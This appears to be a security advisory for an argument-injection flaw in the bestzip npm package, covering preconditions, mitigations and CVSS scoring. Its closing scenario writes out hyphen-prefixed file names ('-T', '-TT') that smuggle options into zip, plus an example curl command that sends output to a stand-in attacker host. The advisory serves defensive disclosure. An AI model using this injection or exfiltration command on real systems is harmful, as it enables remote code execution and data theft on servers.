bestzip EUVD-2026-66601

Exploitation requires all of the following: the target application uses the bestzip npm package, attacker-controlled values are accepted as the source-paths argument to the bestzip API without stripping entries that begin with a hyphen, and the host system has a standard zip binary installed with -T/-TT support (present in virtually all distribution packages of zip). The injected command executes as a post-archive test hook - the archive write must complete successfully before the command runs, meaning a failure to create the archive prevents execution. Exploitation is blocked by: applications that enumerate or whitelist acceptable source filenames, applications that resolve and sanitize paths before forwarding them, environments where the zip binary is absent or replaced with a minimal implementation lacking -TT support, and deployments that run the Node.js process in a sandboxed environment (e.g., seccomp, containers with restricted syscalls) that prevents child process spawning.

The VulnCheck-sourced CVSS 4.0 base score of 8.6 assigns AV:L (local attack vector) with PR:N (no privileges), VC:H/VI:H/VA:H, reflecting the full confidentiality, integrity, and availability impact on the vulnerable system. The AV:L classification is conservative; many realistic deployments expose the vulnerable code path to remote attackers via web application file-upload interfaces, in which case the effective attack surface is network-reachable. No EPSS score was provided in the intelligence data, and the vulnerability is absent from the CISA KEV catalog, indicating no confirmed mass exploitation at time of analysis. No proof-of-concept exploit code was identified, though the exploit mechanism relies on documented, standard zip behavior that is straightforward to replicate. Real-world risk is strongly context-dependent: only applications that accept untrusted filenames and pass them unmodified to bestzip are exploitable. CVSS indicates no authentication requirement (PR:N), consistent with scenarios where the calling application's input surface is unauthenticated. The combination of high impact, no authentication, and a simple exploit mechanic makes this a meaningful risk for affected deployments despite the absence of KEV or POC evidence.

An attacker uploading files to a web service supplies three items named '-T', '-TT', and a shell command string such as 'curl attacker.example/exfil?d=$(id)'. The application, without stripping leading hyphens, calls bestzip to archive the uploaded files. bestzip passes these names as positional arguments to zip, which reads -T and -TT as option flags and, upon finishing the archive, executes the supplied shell command in the security context of the Node.js server process.